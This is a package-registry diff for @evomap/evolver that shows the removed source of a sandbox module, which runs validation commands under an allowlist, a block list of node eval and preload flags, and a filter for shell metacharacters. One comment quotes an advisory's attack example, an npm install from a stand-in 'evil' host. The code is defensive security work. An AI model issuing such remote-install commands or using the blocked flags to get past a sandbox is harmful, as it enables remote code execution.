@evomap/evolver 1.90.0 → 2.0.0-beta.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +27 -564
- package/bin/evolver-llm-proxy.js +3 -0
- package/bin/evolver-mcp.js +2 -0
- package/bin/evolver-proxy.js +3 -0
- package/bin/evolver.js +4 -0
- package/index.js +1 -3670
- package/package.json +32 -62
- package/CONTRIBUTING.md +0 -19
- package/LICENSE +0 -641
- package/README.ja-JP.md +0 -521
- package/README.ko-KR.md +0 -520
- package/README.zh-CN.md +0 -531
- package/SKILL.md +0 -365
- package/assets/cover.png +0 -0
- package/assets/gep/genes.seed.json +0 -496
- package/conformance/savings-core/constants.json +0 -30
- package/conformance/savings-core/golden-vectors.json +0 -333
- package/scripts/a2a_export.js +0 -63
- package/scripts/a2a_ingest.js +0 -79
- package/scripts/a2a_promote.js +0 -118
- package/scripts/analyze_by_skill.js +0 -121
- package/scripts/build_binaries.js +0 -479
- package/scripts/check-changelog.js +0 -166
- package/scripts/extract_log.js +0 -85
- package/scripts/generate_history.js +0 -75
- package/scripts/gep_append_event.js +0 -96
- package/scripts/gep_personality_report.js +0 -234
- package/scripts/human_report.js +0 -147
- package/scripts/recall-verify-report.js +0 -234
- package/scripts/recover_loop.js +0 -61
- package/scripts/refresh_stars_badge.js +0 -168
- package/scripts/seed-merchants.js +0 -91
- package/scripts/skill2recipes.js +0 -118
- package/scripts/suggest_version.js +0 -89
- package/scripts/validate-modules.js +0 -38
- package/scripts/validate-suite.js +0 -78
- package/src/adapters/claudeCode.js +0 -194
- package/src/adapters/codex.js +0 -216
- package/src/adapters/cursor.js +0 -91
- package/src/adapters/hookAdapter.js +0 -469
- package/src/adapters/kiro.js +0 -195
- package/src/adapters/opencode.js +0 -326
- package/src/adapters/scripts/_lockPaths.js +0 -74
- package/src/adapters/scripts/_memoryFiltering.js +0 -35
- package/src/adapters/scripts/_runtimePaths.js +0 -440
- package/src/adapters/scripts/evolver-session-end.js +0 -321
- package/src/adapters/scripts/evolver-session-start.js +0 -587
- package/src/adapters/scripts/evolver-signal-detect.js +0 -98
- package/src/adapters/scripts/evolver-task-recall.js +0 -173
- package/src/atp/atpExecute.js +0 -283
- package/src/atp/atpTaskPickup.js +0 -233
- package/src/atp/autoBuyer.js +0 -382
- package/src/atp/autoDeliver.js +0 -215
- package/src/atp/cli.js +0 -354
- package/src/atp/cliAutobuyPrompt.js +0 -154
- package/src/atp/consumerAgent.js +0 -157
- package/src/atp/defaultHandler.js +0 -69
- package/src/atp/heartbeatSignalsHandler.js +0 -254
- package/src/atp/hubClient.js +0 -317
- package/src/atp/index.js +0 -38
- package/src/atp/merchantAgent.js +0 -118
- package/src/atp/protocol.js +0 -41
- package/src/atp/questionComposer.js +0 -133
- package/src/atp/serviceHelper.js +0 -92
- package/src/canary.js +0 -13
- package/src/config.js +0 -351
- package/src/evolve/guards.js +0 -1
- package/src/evolve/pipeline/collect.js +0 -1
- package/src/evolve/pipeline/dispatch.js +0 -1
- package/src/evolve/pipeline/enrich.js +0 -1
- package/src/evolve/pipeline/hub.js +0 -1
- package/src/evolve/pipeline/select.js +0 -1
- package/src/evolve/pipeline/signals.js +0 -1
- package/src/evolve/utils.js +0 -1
- package/src/evolve.js +0 -1
- package/src/experiment/agentRunner.js +0 -229
- package/src/experiment/cli.js +0 -159
- package/src/experiment/comparison.js +0 -233
- package/src/experiment/metrics.js +0 -75
- package/src/forceUpdate.js +0 -991
- package/src/gep/a2a.js +0 -173
- package/src/gep/a2aProtocol.js +0 -1
- package/src/gep/analyzer.js +0 -35
- package/src/gep/antiAbuseTelemetry.js +0 -1
- package/src/gep/assetCallLog.js +0 -197
- package/src/gep/assetStore.js +0 -723
- package/src/gep/assets.js +0 -36
- package/src/gep/autoDistillConv.js +0 -1
- package/src/gep/autoDistillLlm.js +0 -1
- package/src/gep/bridge.js +0 -138
- package/src/gep/candidateEval.js +0 -1
- package/src/gep/candidates.js +0 -1
- package/src/gep/claimNudge.js +0 -121
- package/src/gep/cliContracts.js +0 -1190
- package/src/gep/contentHash.js +0 -1
- package/src/gep/conversationDistiller.js +0 -1
- package/src/gep/conversationSniffer.js +0 -1
- package/src/gep/crypto.js +0 -1
- package/src/gep/curriculum.js +0 -1
- package/src/gep/deviceId.js +0 -1
- package/src/gep/directoryClient.js +0 -115
- package/src/gep/envFingerprint.js +0 -1
- package/src/gep/epigenetics.js +0 -1
- package/src/gep/execBridge.js +0 -1
- package/src/gep/executionTrace.js +0 -291
- package/src/gep/explore.js +0 -1
- package/src/gep/featureFlags.js +0 -121
- package/src/gep/gitOps.js +0 -265
- package/src/gep/hash.js +0 -1
- package/src/gep/hostErrorClassifier.js +0 -34
- package/src/gep/hubFetch.js +0 -1
- package/src/gep/hubReview.js +0 -1
- package/src/gep/hubSearch.js +0 -1
- package/src/gep/hubVerify.js +0 -1
- package/src/gep/idleScheduler.js +0 -400
- package/src/gep/issueReporter.js +0 -416
- package/src/gep/learningSignals.js +0 -1
- package/src/gep/llmReview.js +0 -92
- package/src/gep/localStateAwareness.js +0 -243
- package/src/gep/mailboxTransport.js +0 -119
- package/src/gep/memoryGraph.js +0 -1
- package/src/gep/memoryGraphAdapter.js +0 -1
- package/src/gep/mutation.js +0 -1
- package/src/gep/narrativeMemory.js +0 -1
- package/src/gep/oauthLogin.js +0 -181
- package/src/gep/openPRRegistry.js +0 -1
- package/src/gep/paths.js +0 -522
- package/src/gep/personality.js +0 -1
- package/src/gep/policyCheck.js +0 -1
- package/src/gep/portable.js +0 -103
- package/src/gep/privacyClient.js +0 -235
- package/src/gep/prompt.js +0 -1
- package/src/gep/questionGenerator.js +0 -518
- package/src/gep/recallInject.js +0 -1
- package/src/gep/recallVerifier.js +0 -1
- package/src/gep/reflection.js +0 -1
- package/src/gep/sanitize.js +0 -264
- package/src/gep/savingsCore.js +0 -1
- package/src/gep/schemas/capsule.js +0 -170
- package/src/gep/schemas/gene.js +0 -154
- package/src/gep/schemas/index.js +0 -8
- package/src/gep/schemas/protocol.js +0 -51
- package/src/gep/schemas/task.js +0 -74
- package/src/gep/selector.js +0 -1
- package/src/gep/selfPR.js +0 -469
- package/src/gep/signals.js +0 -776
- package/src/gep/skill2gep.js +0 -1056
- package/src/gep/skill2gepAudit.js +0 -303
- package/src/gep/skill2recipes.js +0 -511
- package/src/gep/skillDistiller.js +0 -1
- package/src/gep/skillPublisher.js +0 -358
- package/src/gep/solidify.js +0 -1
- package/src/gep/strategy.js +0 -1
- package/src/gep/taskReceiver.js +0 -575
- package/src/gep/tokenSavings.js +0 -1
- package/src/gep/trajectoryExport.js +0 -1
- package/src/gep/validationReport.js +0 -55
- package/src/gep/validator/index.js +0 -411
- package/src/gep/validator/reporter.js +0 -210
- package/src/gep/validator/sandboxExecutor.js +0 -480
- package/src/gep/validator/stakeBootstrap.js +0 -357
- package/src/gep/workspaceKeychain.js +0 -1
- package/src/ops/cleanup.js +0 -80
- package/src/ops/commentary.js +0 -60
- package/src/ops/health_check.js +0 -104
- package/src/ops/index.js +0 -11
- package/src/ops/innovation.js +0 -67
- package/src/ops/lifecycle.js +0 -798
- package/src/ops/self_repair.js +0 -76
- package/src/ops/skills_monitor.js +0 -147
- package/src/ops/trigger.js +0 -33
- package/src/proxy/clientSettings.js +0 -405
- package/src/proxy/envelope.js +0 -59
- package/src/proxy/extensions/dmHandler.js +0 -45
- package/src/proxy/extensions/sessionHandler.js +0 -141
- package/src/proxy/extensions/skillUpdater.js +0 -64
- package/src/proxy/extensions/traceControl.js +0 -1
- package/src/proxy/index.js +0 -1395
- package/src/proxy/inject.js +0 -1
- package/src/proxy/lifecycle/manager.js +0 -1568
- package/src/proxy/mailbox/state.js +0 -207
- package/src/proxy/mailbox/store.js +0 -602
- package/src/proxy/router/cache_passthrough.js +0 -26
- package/src/proxy/router/features.js +0 -84
- package/src/proxy/router/gemini_route.js +0 -154
- package/src/proxy/router/messages_route.js +0 -535
- package/src/proxy/router/model_router.js +0 -113
- package/src/proxy/router/models_route.js +0 -52
- package/src/proxy/router/ollama_route.js +0 -103
- package/src/proxy/router/responses_route.js +0 -170
- package/src/proxy/router/vertex_route.js +0 -110
- package/src/proxy/server/http.js +0 -363
- package/src/proxy/server/routes.js +0 -558
- package/src/proxy/server/settings.js +0 -115
- package/src/proxy/sync/engine.js +0 -179
- package/src/proxy/sync/inbound.js +0 -211
- package/src/proxy/sync/outbound.js +0 -361
- package/src/proxy/task/monitor.js +0 -131
- package/src/proxy/trace/extractor.js +0 -1
- package/src/proxy/trace/usage.js +0 -1
- package/src/solo/breaker.js +0 -25
- package/src/solo/gitGuard.js +0 -65
- package/src/webui/client/clientJs/assets.js +0 -111
- package/src/webui/client/clientJs/bootstrap.js +0 -92
- package/src/webui/client/clientJs/common.js +0 -77
- package/src/webui/client/clientJs/i18n.js +0 -366
- package/src/webui/client/clientJs/index.js +0 -35
- package/src/webui/client/clientJs/interactions.js +0 -351
- package/src/webui/client/clientJs/overview.js +0 -152
- package/src/webui/client/clientJs/personality.js +0 -285
- package/src/webui/client/clientJs/pipelines.js +0 -330
- package/src/webui/client/indexHtml.js +0 -221
- package/src/webui/client/static.js +0 -23
- package/src/webui/client/stylesCss.js +0 -639
- package/src/webui/client/vendor/README.md +0 -15
- package/src/webui/client/vendor/echarts.min.js +0 -45
- package/src/webui/index.js +0 -14
- package/src/webui/observer/assets.js +0 -146
- package/src/webui/observer/index.js +0 -37
- package/src/webui/observer/interactions.js +0 -127
- package/src/webui/observer/jsonl.js +0 -75
- package/src/webui/observer/paths.js +0 -46
- package/src/webui/observer/personality.js +0 -43
- package/src/webui/observer/pipelineEvents.js +0 -58
- package/src/webui/observer/redact.js +0 -63
- package/src/webui/observer/runs.js +0 -356
- package/src/webui/observer/safety.js +0 -57
- package/src/webui/observer/skills.js +0 -70
- package/src/webui/observer/status.js +0 -71
- package/src/webui/server/http.js +0 -138
- package/src/webui/server/routes.js +0 -41
|
@@ -1,480 +0,0 @@
|
|
|
1
|
-
// src/gep/validator/sandboxExecutor.js
|
|
2
|
-
//
|
|
3
|
-
// Runs validation commands provided by the Hub inside an isolated sandbox
|
|
4
|
-
// directory with strict resource/time limits, and does NOT trust the capsule
|
|
5
|
-
// or gene payload -- we only execute commands exactly as Hub sent them,
|
|
6
|
-
// inside a fresh empty working directory, with network blocked by convention
|
|
7
|
-
// and output truncated to a small size.
|
|
8
|
-
//
|
|
9
|
-
// Security posture:
|
|
10
|
-
// - Never run inside the evolver's own workspace or repo root.
|
|
11
|
-
// - Create a fresh temp directory per task; wipe after execution.
|
|
12
|
-
// - Per-command timeout defaults to 60s, hard cap 120s.
|
|
13
|
-
// - Total batch timeout defaults to 180s.
|
|
14
|
-
// - Collect stdout/stderr truncated to 4000 chars each to match
|
|
15
|
-
// ValidationReport.command.stdout/stderr schema on the Hub.
|
|
16
|
-
//
|
|
17
|
-
// This module is intentionally simple and has no external dependencies.
|
|
18
|
-
'use strict';
|
|
19
|
-
|
|
20
|
-
const fs = require('fs');
|
|
21
|
-
const os = require('os');
|
|
22
|
-
const path = require('path');
|
|
23
|
-
const crypto = require('crypto');
|
|
24
|
-
const { spawn } = require('child_process');
|
|
25
|
-
|
|
26
|
-
const DEFAULT_CMD_TIMEOUT_MS = 60_000;
|
|
27
|
-
const MAX_CMD_TIMEOUT_MS = 120_000;
|
|
28
|
-
const DEFAULT_BATCH_TIMEOUT_MS = 180_000;
|
|
29
|
-
const MAX_OUTPUT_CHARS = 4000;
|
|
30
|
-
|
|
31
|
-
// Hard allowlist of executables the Hub-provided validation command may invoke.
|
|
32
|
-
// Any command whose first token is not in this set is rejected before spawn().
|
|
33
|
-
// This prevents command injection via Hub-delivered task.command strings even
|
|
34
|
-
// if Hub itself is compromised or mis-signs a task.
|
|
35
|
-
//
|
|
36
|
-
// GHSA-jxh8-jh77-xh6g: `npm` and `npx` used to be on this allowlist. They are
|
|
37
|
-
// arbitrary-code-execution-by-design (npm runs preinstall/install/postinstall
|
|
38
|
-
// lifecycle scripts; npx fetches and runs remote package `bin` entries), so a
|
|
39
|
-
// compromised/MitM'd Hub could issue `validation_commands: ["npm install
|
|
40
|
-
// https://evil/evil.tgz"]` and get RCE on every validator in one poll cycle.
|
|
41
|
-
// Validator nodes only ever need to run `node <script>`, so we drop npm/npx.
|
|
42
|
-
// Any legitimate validation that previously used `npx vitest run ...` must be
|
|
43
|
-
// rewritten by the gene author to `node node_modules/vitest/vitest.mjs ...`.
|
|
44
|
-
const ALLOWED_EXECUTABLES = new Set(['node']);
|
|
45
|
-
|
|
46
|
-
// Depth-in-depth: even though `node` is in ALLOWED_EXECUTABLES, reject the
|
|
47
|
-
// flags that turn it into an arbitrary-code evaluator. A legitimate Hub-
|
|
48
|
-
// delivered validation command should always be `node <script-file> [args]`,
|
|
49
|
-
// never `node -e "..."` or `node --require ./attacker-preload`. This closes
|
|
50
|
-
// the gap where validation_commands go straight from Hub to runInSandbox
|
|
51
|
-
// without passing through policyCheck.isValidationCommandAllowed().
|
|
52
|
-
const BLOCKED_NODE_FLAGS = new Set([
|
|
53
|
-
'-e', '--eval',
|
|
54
|
-
'-p', '--print',
|
|
55
|
-
'-i', '--interactive',
|
|
56
|
-
'-r', '--require',
|
|
57
|
-
'--loader',
|
|
58
|
-
'--experimental-loader',
|
|
59
|
-
'--import',
|
|
60
|
-
'--env-file',
|
|
61
|
-
]);
|
|
62
|
-
|
|
63
|
-
function assertNodeCommandSafe(parsed) {
|
|
64
|
-
if (parsed.executable !== 'node') return;
|
|
65
|
-
for (const arg of parsed.args) {
|
|
66
|
-
const flag = arg.split('=')[0];
|
|
67
|
-
if (BLOCKED_NODE_FLAGS.has(flag)) {
|
|
68
|
-
throw new Error('node flag not allowed in sandbox: ' + flag);
|
|
69
|
-
}
|
|
70
|
-
}
|
|
71
|
-
const firstPositional = parsed.args.find((a) => !a.startsWith('-'));
|
|
72
|
-
if (!firstPositional) {
|
|
73
|
-
throw new Error('node requires a script file argument in sandbox (inline eval is not allowed)');
|
|
74
|
-
}
|
|
75
|
-
}
|
|
76
|
-
|
|
77
|
-
// Parse a command string into executable + argv array, supporting single and
|
|
78
|
-
// double quotes. This is a minimal parser and does NOT expand environment
|
|
79
|
-
// variables, globs, redirects, pipes, or subshells. If the command string
|
|
80
|
-
// contains shell metacharacters that cannot be parsed, we reject it.
|
|
81
|
-
//
|
|
82
|
-
// Returns { executable, args } on success, or throws on parse failure.
|
|
83
|
-
function parseCommand(cmdString) {
|
|
84
|
-
if (typeof cmdString !== 'string') {
|
|
85
|
-
throw new Error('command must be a string, got ' + typeof cmdString);
|
|
86
|
-
}
|
|
87
|
-
const tokens = [];
|
|
88
|
-
let buf = '';
|
|
89
|
-
let quote = null; // '\'' | '"' | null
|
|
90
|
-
for (let i = 0; i < cmdString.length; i++) {
|
|
91
|
-
const ch = cmdString[i];
|
|
92
|
-
if (quote) {
|
|
93
|
-
if (ch === quote) {
|
|
94
|
-
quote = null;
|
|
95
|
-
} else {
|
|
96
|
-
buf += ch;
|
|
97
|
-
}
|
|
98
|
-
continue;
|
|
99
|
-
}
|
|
100
|
-
if (ch === '\'' || ch === '"') {
|
|
101
|
-
quote = ch;
|
|
102
|
-
continue;
|
|
103
|
-
}
|
|
104
|
-
if (ch === ' ' || ch === '\t' || ch === '\n') {
|
|
105
|
-
if (buf.length > 0) {
|
|
106
|
-
tokens.push(buf);
|
|
107
|
-
buf = '';
|
|
108
|
-
}
|
|
109
|
-
continue;
|
|
110
|
-
}
|
|
111
|
-
// Reject shell metacharacters that would give injection leverage even with
|
|
112
|
-
// shell:false. A legitimate validation command should never contain these.
|
|
113
|
-
if (ch === '|' || ch === '&' || ch === ';' || ch === '>' || ch === '<' || ch === '`' || ch === '$') {
|
|
114
|
-
throw new Error('shell metacharacter not allowed in command: ' + ch);
|
|
115
|
-
}
|
|
116
|
-
buf += ch;
|
|
117
|
-
}
|
|
118
|
-
if (quote) throw new Error('unterminated quote in command');
|
|
119
|
-
if (buf.length > 0) tokens.push(buf);
|
|
120
|
-
if (tokens.length === 0) throw new Error('empty command');
|
|
121
|
-
return { executable: tokens[0], args: tokens.slice(1) };
|
|
122
|
-
}
|
|
123
|
-
|
|
124
|
-
function safeNumber(v, fallback) {
|
|
125
|
-
const n = Number(v);
|
|
126
|
-
if (!Number.isFinite(n) || n <= 0) return fallback;
|
|
127
|
-
return n;
|
|
128
|
-
}
|
|
129
|
-
|
|
130
|
-
function truncate(str, limit) {
|
|
131
|
-
if (typeof str !== 'string') return '';
|
|
132
|
-
if (str.length <= limit) return str;
|
|
133
|
-
return str.slice(0, limit) + '\n...[truncated]';
|
|
134
|
-
}
|
|
135
|
-
|
|
136
|
-
function createSandboxDir() {
|
|
137
|
-
// NOTE(windows): mode 0o700 is silently ignored on Windows. The sandbox
|
|
138
|
-
// directory is NOT access-restricted on Windows; rely on OS user isolation
|
|
139
|
-
// instead. This cannot be fully mitigated via fs.mkdirSync options alone.
|
|
140
|
-
const base = path.join(os.tmpdir(), 'evolver-validator');
|
|
141
|
-
// The base path is predictable, so on a shared host another local user
|
|
142
|
-
// could pre-create it as a symlink and redirect every sandbox workdir
|
|
143
|
-
// outside the intended boundary. mkdir first (EEXIST is fine), then lstat
|
|
144
|
-
// and refuse anything that is not a real directory — the sticky bit on
|
|
145
|
-
// /tmp prevents others from replacing our directory after this check.
|
|
146
|
-
try {
|
|
147
|
-
fs.mkdirSync(base, { recursive: true, mode: 0o700 });
|
|
148
|
-
} catch (e) {
|
|
149
|
-
if (!e || e.code !== 'EEXIST') {
|
|
150
|
-
throw new Error('[sandboxExecutor] Failed to create sandbox base ' + base + ': ' + (e && e.message || e));
|
|
151
|
-
}
|
|
152
|
-
}
|
|
153
|
-
const baseSt = fs.lstatSync(base);
|
|
154
|
-
if (baseSt.isSymbolicLink() || !baseSt.isDirectory()) {
|
|
155
|
-
throw new Error('[sandboxExecutor] Refusing sandbox base ' + base + ': exists and is ' +
|
|
156
|
-
(baseSt.isSymbolicLink() ? 'a symlink' : 'not a directory'));
|
|
157
|
-
}
|
|
158
|
-
// A real directory is still not enough: a pre-existing base OWNED BY
|
|
159
|
-
// ANOTHER USER lets that user rename/replace our task workdirs at will
|
|
160
|
-
// (deletion rights come from the parent dir). Require ownership, and
|
|
161
|
-
// self-heal loose permissions on a base we do own (chmod is safe then).
|
|
162
|
-
// POSIX-only: Windows has no getuid and ignores these mode bits anyway.
|
|
163
|
-
if (typeof process.getuid === 'function') {
|
|
164
|
-
if (baseSt.uid !== process.getuid()) {
|
|
165
|
-
throw new Error('[sandboxExecutor] Refusing sandbox base ' + base + ': owned by uid ' +
|
|
166
|
-
baseSt.uid + ', not the current user (' + process.getuid() + ')');
|
|
167
|
-
}
|
|
168
|
-
if ((baseSt.mode & 0o077) !== 0) {
|
|
169
|
-
fs.chmodSync(base, 0o700);
|
|
170
|
-
}
|
|
171
|
-
}
|
|
172
|
-
const name = 'task_' + Date.now().toString(36) + '_' + crypto.randomBytes(4).toString('hex');
|
|
173
|
-
const dir = path.join(base, name);
|
|
174
|
-
// Wrap in try/catch: mkdirSync without recursive:true throws if the parent
|
|
175
|
-
// has a permission problem (e.g. read-only tmpdir on constrained hosts).
|
|
176
|
-
try {
|
|
177
|
-
fs.mkdirSync(dir, { mode: 0o700 });
|
|
178
|
-
} catch (e) {
|
|
179
|
-
throw new Error('[sandboxExecutor] Failed to create sandbox dir ' + dir + ': ' + (e && e.message || e));
|
|
180
|
-
}
|
|
181
|
-
return dir;
|
|
182
|
-
}
|
|
183
|
-
|
|
184
|
-
function cleanupDir(dir) {
|
|
185
|
-
if (!dir) return;
|
|
186
|
-
try {
|
|
187
|
-
fs.rmSync(dir, { recursive: true, force: true });
|
|
188
|
-
} catch (_) {
|
|
189
|
-
// non-fatal
|
|
190
|
-
}
|
|
191
|
-
}
|
|
192
|
-
|
|
193
|
-
function buildSandboxEnv() {
|
|
194
|
-
// Minimal env: strip credential-bearing vars. Redirect HOME / TMPDIR to an
|
|
195
|
-
// os.tmpdir() path so that any child process that tries to read ~/.npmrc,
|
|
196
|
-
// ~/.ssh/*, ~/.aws/credentials, or similar host-credential files ends up
|
|
197
|
-
// in an empty scratch directory instead of the real user home.
|
|
198
|
-
// PATH is preserved so that node remains resolvable -- the
|
|
199
|
-
// ALLOWED_EXECUTABLES allowlist is the real gate against unwanted tools.
|
|
200
|
-
const tmp = os.tmpdir();
|
|
201
|
-
const fallbackPath = process.platform === 'win32'
|
|
202
|
-
? 'C:\\Windows\\System32'
|
|
203
|
-
: '/usr/local/bin:/usr/bin:/bin';
|
|
204
|
-
return {
|
|
205
|
-
PATH: process.env.PATH || fallbackPath,
|
|
206
|
-
HOME: tmp,
|
|
207
|
-
USERPROFILE: tmp,
|
|
208
|
-
TMPDIR: tmp,
|
|
209
|
-
TMP: tmp,
|
|
210
|
-
TEMP: tmp,
|
|
211
|
-
LANG: 'C.UTF-8',
|
|
212
|
-
LC_ALL: 'C.UTF-8',
|
|
213
|
-
NODE_ENV: 'sandbox',
|
|
214
|
-
EVOLVER_SANDBOX: '1',
|
|
215
|
-
};
|
|
216
|
-
}
|
|
217
|
-
|
|
218
|
-
function runSingleCommand(cmd, opts) {
|
|
219
|
-
const options = opts || {};
|
|
220
|
-
const timeoutMs = Math.min(
|
|
221
|
-
safeNumber(options.timeoutMs, DEFAULT_CMD_TIMEOUT_MS),
|
|
222
|
-
MAX_CMD_TIMEOUT_MS,
|
|
223
|
-
);
|
|
224
|
-
const cwd = options.cwd;
|
|
225
|
-
const env = buildSandboxEnv();
|
|
226
|
-
|
|
227
|
-
return new Promise((resolve) => {
|
|
228
|
-
let child;
|
|
229
|
-
let parsed;
|
|
230
|
-
try {
|
|
231
|
-
parsed = parseCommand(String(cmd));
|
|
232
|
-
assertNodeCommandSafe(parsed);
|
|
233
|
-
} catch (err) {
|
|
234
|
-
resolve({
|
|
235
|
-
cmd: String(cmd),
|
|
236
|
-
ok: false,
|
|
237
|
-
stdout: '',
|
|
238
|
-
stderr: 'command_parse_failed: ' + (err && err.message ? err.message : String(err)),
|
|
239
|
-
exitCode: -1,
|
|
240
|
-
durationMs: 0,
|
|
241
|
-
timedOut: false,
|
|
242
|
-
});
|
|
243
|
-
return;
|
|
244
|
-
}
|
|
245
|
-
if (!ALLOWED_EXECUTABLES.has(parsed.executable)) {
|
|
246
|
-
resolve({
|
|
247
|
-
cmd: String(cmd),
|
|
248
|
-
ok: false,
|
|
249
|
-
stdout: '',
|
|
250
|
-
stderr: 'executable_not_allowed: ' + parsed.executable
|
|
251
|
-
+ ' (allowed: ' + Array.from(ALLOWED_EXECUTABLES).join(', ') + ')',
|
|
252
|
-
exitCode: -1,
|
|
253
|
-
durationMs: 0,
|
|
254
|
-
timedOut: false,
|
|
255
|
-
});
|
|
256
|
-
return;
|
|
257
|
-
}
|
|
258
|
-
try {
|
|
259
|
-
child = spawn(parsed.executable, parsed.args, {
|
|
260
|
-
shell: false,
|
|
261
|
-
cwd,
|
|
262
|
-
env,
|
|
263
|
-
stdio: ['ignore', 'pipe', 'pipe'],
|
|
264
|
-
});
|
|
265
|
-
} catch (err) {
|
|
266
|
-
resolve({
|
|
267
|
-
cmd: String(cmd),
|
|
268
|
-
ok: false,
|
|
269
|
-
stdout: '',
|
|
270
|
-
stderr: 'spawn_failed: ' + (err && err.message ? err.message : String(err)),
|
|
271
|
-
exitCode: -1,
|
|
272
|
-
durationMs: 0,
|
|
273
|
-
timedOut: false,
|
|
274
|
-
});
|
|
275
|
-
return;
|
|
276
|
-
}
|
|
277
|
-
|
|
278
|
-
let stdout = '';
|
|
279
|
-
let stderr = '';
|
|
280
|
-
let settled = false;
|
|
281
|
-
const startedAt = Date.now();
|
|
282
|
-
|
|
283
|
-
const timer = setTimeout(() => {
|
|
284
|
-
if (!child.killed) {
|
|
285
|
-
try { child.kill('SIGKILL'); } catch (_) {}
|
|
286
|
-
}
|
|
287
|
-
if (!settled) {
|
|
288
|
-
settled = true;
|
|
289
|
-
resolve({
|
|
290
|
-
cmd: String(cmd),
|
|
291
|
-
ok: false,
|
|
292
|
-
stdout: truncate(stdout, MAX_OUTPUT_CHARS),
|
|
293
|
-
stderr: truncate(stderr + '\n[killed by sandbox timeout]', MAX_OUTPUT_CHARS),
|
|
294
|
-
exitCode: -1,
|
|
295
|
-
durationMs: Date.now() - startedAt,
|
|
296
|
-
timedOut: true,
|
|
297
|
-
});
|
|
298
|
-
}
|
|
299
|
-
}, timeoutMs);
|
|
300
|
-
|
|
301
|
-
child.stdout.on('data', (d) => {
|
|
302
|
-
stdout += d.toString('utf8');
|
|
303
|
-
if (stdout.length > MAX_OUTPUT_CHARS * 2) {
|
|
304
|
-
stdout = stdout.slice(-MAX_OUTPUT_CHARS * 2);
|
|
305
|
-
}
|
|
306
|
-
});
|
|
307
|
-
child.stderr.on('data', (d) => {
|
|
308
|
-
stderr += d.toString('utf8');
|
|
309
|
-
if (stderr.length > MAX_OUTPUT_CHARS * 2) {
|
|
310
|
-
stderr = stderr.slice(-MAX_OUTPUT_CHARS * 2);
|
|
311
|
-
}
|
|
312
|
-
});
|
|
313
|
-
|
|
314
|
-
child.on('error', (err) => {
|
|
315
|
-
if (settled) return;
|
|
316
|
-
settled = true;
|
|
317
|
-
clearTimeout(timer);
|
|
318
|
-
resolve({
|
|
319
|
-
cmd: String(cmd),
|
|
320
|
-
ok: false,
|
|
321
|
-
stdout: truncate(stdout, MAX_OUTPUT_CHARS),
|
|
322
|
-
stderr: truncate(stderr + '\n' + (err && err.message ? err.message : String(err)), MAX_OUTPUT_CHARS),
|
|
323
|
-
exitCode: -1,
|
|
324
|
-
durationMs: Date.now() - startedAt,
|
|
325
|
-
timedOut: false,
|
|
326
|
-
});
|
|
327
|
-
});
|
|
328
|
-
|
|
329
|
-
child.on('exit', (code, signal) => {
|
|
330
|
-
if (settled) return;
|
|
331
|
-
settled = true;
|
|
332
|
-
clearTimeout(timer);
|
|
333
|
-
const exitCode = typeof code === 'number' ? code : (signal ? -1 : -1);
|
|
334
|
-
resolve({
|
|
335
|
-
cmd: String(cmd),
|
|
336
|
-
ok: exitCode === 0,
|
|
337
|
-
stdout: truncate(stdout, MAX_OUTPUT_CHARS),
|
|
338
|
-
stderr: truncate(stderr, MAX_OUTPUT_CHARS),
|
|
339
|
-
exitCode,
|
|
340
|
-
durationMs: Date.now() - startedAt,
|
|
341
|
-
timedOut: false,
|
|
342
|
-
});
|
|
343
|
-
});
|
|
344
|
-
});
|
|
345
|
-
}
|
|
346
|
-
|
|
347
|
-
/**
|
|
348
|
-
* Run a list of validation commands in a fresh sandbox directory.
|
|
349
|
-
* Stops at the first failure and returns partial results.
|
|
350
|
-
*
|
|
351
|
-
* @param {string[]} commands
|
|
352
|
-
* @param {{ cmdTimeoutMs?: number, batchTimeoutMs?: number, keepSandbox?: boolean }} [opts]
|
|
353
|
-
* @returns {Promise<{
|
|
354
|
-
* results: Array<{ cmd: string, ok: boolean, stdout: string, stderr: string, exitCode: number, durationMs: number, timedOut: boolean }>,
|
|
355
|
-
* overallOk: boolean,
|
|
356
|
-
* sandboxDir: string,
|
|
357
|
-
* durationMs: number,
|
|
358
|
-
* stoppedEarly: boolean,
|
|
359
|
-
* }>}
|
|
360
|
-
*/
|
|
361
|
-
async function runInSandbox(commands, opts) {
|
|
362
|
-
const options = opts || {};
|
|
363
|
-
const cmds = Array.isArray(commands) ? commands.filter((c) => typeof c === 'string' && c.trim()) : [];
|
|
364
|
-
const startedAt = Date.now();
|
|
365
|
-
|
|
366
|
-
if (cmds.length === 0) {
|
|
367
|
-
return {
|
|
368
|
-
results: [],
|
|
369
|
-
overallOk: false,
|
|
370
|
-
sandboxDir: null,
|
|
371
|
-
durationMs: 0,
|
|
372
|
-
stoppedEarly: false,
|
|
373
|
-
reason: 'no_commands',
|
|
374
|
-
};
|
|
375
|
-
}
|
|
376
|
-
|
|
377
|
-
const batchTimeoutMs = Math.min(
|
|
378
|
-
safeNumber(options.batchTimeoutMs, DEFAULT_BATCH_TIMEOUT_MS),
|
|
379
|
-
DEFAULT_BATCH_TIMEOUT_MS * 3,
|
|
380
|
-
);
|
|
381
|
-
|
|
382
|
-
const sandboxDir = createSandboxDir();
|
|
383
|
-
const results = [];
|
|
384
|
-
let stoppedEarly = false;
|
|
385
|
-
|
|
386
|
-
try {
|
|
387
|
-
for (const cmd of cmds) {
|
|
388
|
-
const elapsed = Date.now() - startedAt;
|
|
389
|
-
if (elapsed >= batchTimeoutMs) {
|
|
390
|
-
stoppedEarly = true;
|
|
391
|
-
break;
|
|
392
|
-
}
|
|
393
|
-
const remaining = batchTimeoutMs - elapsed;
|
|
394
|
-
const r = await runSingleCommand(cmd, {
|
|
395
|
-
cwd: sandboxDir,
|
|
396
|
-
timeoutMs: Math.min(
|
|
397
|
-
safeNumber(options.cmdTimeoutMs, DEFAULT_CMD_TIMEOUT_MS),
|
|
398
|
-
remaining,
|
|
399
|
-
),
|
|
400
|
-
});
|
|
401
|
-
results.push(r);
|
|
402
|
-
if (!r.ok) {
|
|
403
|
-
stoppedEarly = true;
|
|
404
|
-
break;
|
|
405
|
-
}
|
|
406
|
-
}
|
|
407
|
-
} finally {
|
|
408
|
-
if (!options.keepSandbox) cleanupDir(sandboxDir);
|
|
409
|
-
}
|
|
410
|
-
|
|
411
|
-
const overallOk = results.length > 0 && results.every((r) => r.ok) && !stoppedEarly;
|
|
412
|
-
|
|
413
|
-
return {
|
|
414
|
-
results,
|
|
415
|
-
overallOk,
|
|
416
|
-
sandboxDir: options.keepSandbox ? sandboxDir : null,
|
|
417
|
-
